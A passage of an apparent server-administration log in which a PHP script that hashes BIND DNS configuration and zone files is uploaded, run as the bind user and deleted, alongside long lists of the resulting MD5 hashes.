MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 11:50:08: Establishing a connection
2026-04-23 11:50:08: 

PUT: /tmp/pkp356459

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 11:50:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp356459; rm /tmp/pkp356459'

2026-04-23 11:50:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 11:50:21: Establishing a connection
2026-04-23 11:50:21: 

PUT: /tmp/pkp843871

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 11:50:21: 

runuser -l bind -s /bin/bash -c '/tmp/pkp843871; rm /tmp/pkp843871'

2026-04-23 11:50:21: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
